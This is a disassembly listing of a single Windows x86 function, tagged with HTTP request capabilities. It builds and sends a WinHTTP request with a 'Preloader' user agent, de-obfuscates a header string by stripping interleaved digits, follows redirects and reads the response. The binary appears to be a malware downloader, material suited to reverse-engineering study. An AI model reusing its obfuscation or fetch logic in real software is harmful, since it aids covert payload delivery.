Function at 0x402b40
Capabilities:
Prepare http request
Read http header
Receive http response

Disassembly:
sub esp, 0x24
mov eax, dword [esp + 0x2c]
push eax
push 0x14dc598
mov byte [esp + 0xb], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [esp + 0x44]
mov ecx, dword [esp + 0x40]
mov dword [ecx], 0
test eax, eax
je 0x402b70
mov dword [eax], 0x14dc598
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
mov dword [0xeea99c], 0
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x1c]
push eax
push 0x14d2570
push 0x14c8548
xor ebx, ebx
push 0x14dc598
mov dword [esp + 0x28], ebx
call fcn.004023e0
add esp, 0x14
test al, al
je 0x402ff5
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x38]
push ebx
push ecx
push 0x14c8548
push edx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebp, eax
mov dword [esp + 0x28], ebp
cmp ebp, ebx
je 0x402fdf
movzx eax, byte [esp + 0x1c]
neg eax
sbb eax, eax
and eax, 0x800000
push eax
lea ecx, [esp + 0x30]
push ecx
push ebx
push ebx
push 0x14d2570
push 0x4de120
push ebp
mov dword [esp + 0x48], 0x40c7f0
mov dword [esp + 0x4c], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x402faa
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
push 4
lea edx, [esp + 0x58]
push edx
push 0x1f
push edi
mov dword [esp + 0x64], 0x3100
call ebx
push 4
lea eax, [esp + 0x58]
push eax
push 0x3f
push edi
mov dword [esp + 0x64], 2
call ebx
mov eax, str.0C41o3n5t753e6n8t0_1T23y46p7e9:4_6a4p1p5l7i456ca82ti53on28_x145_w592ww_f1or65m_ur732len432code1d9_r7_n54
xor edx, edx
mov ecx, 0x30
mov edi, edi
cmp cx, 0x30
jb 0x402c5c
cmp cx, 0x39
jbe 0x402c65
mov word [edx*2 + 0x14be520], cx
inc edx
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x402c50
mov cx, word [eax]
mov eax, dword [esp + 0x44]
mov word [edx*2 + 0x14be520], cx
mov edx, dword [esp + 0x48]
lea ebp, [eax + edx - 1]
push ebp
push eax
push 0x40c6f4
push 0x14b44f8
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x14b44f8
push 0x14be520
call esi
push 0x4de120
push 0x149b4f8
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40c6f0
push 0x149b4f8
call esi
push 0x14d2570
push 0x149b4f8
call esi
push str._HTTP_1.1_r_n
push 0x149b4f8
call esi
push str.User_Agent:
push 0x149b4f8
call esi
push str.Preloader_r_n
push 0x149b4f8
call esi
push 0x14be520
push 0x149b4f8
call esi
push 0x40c69c
push 0x149b4f8
call esi
push 0
push 0
push 0x19000
push 0x442ee8
push 0xffffffffffffffff
push 0x149b4f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp byte [0x4e8148], 0
je 0x402d45
push 0x4e8148
push 0x442ee8
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0x4e8148
call ebx
push eax
push 0x4e8148
call ebx
push eax
movsx eax, byte [0x4e8148]
neg eax
sbb eax, eax
and eax, 0x4e8148
push eax
push 0x14be520
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push 0x14be520
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
jne 0x402df3
mov ecx, dword [esp + 0x38]
push 0x14dc598
push ecx
push edi
call fcn.00402ab0
add esp, 0xc
test al, al
je 0x402f8f
push 1
call fcn.004019f0
add esp, 4
push 0
push 0x4e8148
call ebx
push eax
push 0x4e8148
call ebx
movsx edx, byte [0x4e8148]
neg edx
sbb edx, edx
push eax
and edx, 0x4e8148
push edx
push 0x14be520
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push 0x14be520
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x402f8f
push 0
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x402f8b
push 0
lea eax, [esp + 0x28]
push eax
push 0x14824f8
push 0x40c698
push 0x16
push edi
mov dword [esp + 0x3c], 0x19000
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
push 0
push 0
push 0x19000
push 0x429ee8
push 0xffffffffffffffff
push 0x14824f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x40c694
push 0x429ee8
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
call fcn.004025d0
push edi
mov ebx, eax
call fcn.00402470
mov ecx, eax
push ecx
mov dword [esp + 0x20], ecx
call fcn.004019e0
lea edx, [ecx - 0x12c]
add esp, 0xc
cmp edx, 0x63
ja 0x402ec9
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 0x14c8548
push edi
call fcn.00402610
add esp, 0x10
test eax, eax
je 0x402f09
mov ecx, dword [esp + 0x14]
cmp ecx, 0x12e
je 0x402ebb
cmp ecx, 0x12f
je 0x402ebb
mov byte [esp + 0x13], 1
mov dword [0xeea99c], eax
push 0x10
jmp 0x402f01
push eax
push 0x14dc598
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x402f09
cmp ecx, 0xce
jne 0x402eff
cmp ebx, dword [esp + 0x48]
jne 0x402efb
mov edx, dword [esp + 0x50]
mov eax, dword [esp + 0x4c]
mov ecx, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x44]
push eax
push ebp
push ecx
push edx
push edi
call fcn.004027b0
add esp, 0x18
mov byte [esp + 0x13], al
jmp 0x402f09
push 0x11
jmp 0x402f01
push 0xe
call fcn.004019c0
add esp, 4
mov eax, dword [0x410ee0]
cmp eax, 0x1400
jge 0x402f73
mov ebp, 0x1400
mov dword [esp + 0x20], 0
sub ebp, eax
lea ecx, [esp + 0x20]
push ecx
push ebp
lea edx, [eax + 0x410ee8]
push edx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x402f6e
mov ecx, dword [esp + 0x20]
test ecx, ecx
jbe 0x402f6e
mov eax, dword [0x410ee0]
sub ebp, ecx
add eax, ecx
mov dword [0x410ee0], eax
test ebp, ebp
jg 0x402f24
push edi
mov byte [eax + 0x410ee8], 0
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x28]
jmp 0x402fb4
mov eax, dword [0x410ee0]
push edi
mov byte [eax + 0x410ee8], 0
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x28]
jmp 0x402fb4
push 3
jmp 0x402f91
push 0xd
call fcn.004019c0
add esp, 4
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x28]
jmp 0x402fb4
push 0xc
call fcn.004019c0
add esp, 4
push ebp
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
cmp ebx, 0x12e
je 0x402b84
cmp ebx, 0x12f
je 0x402b84
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
push 0xb
call fcn.004019c0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
push 0xa
call fcn.004019c0
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret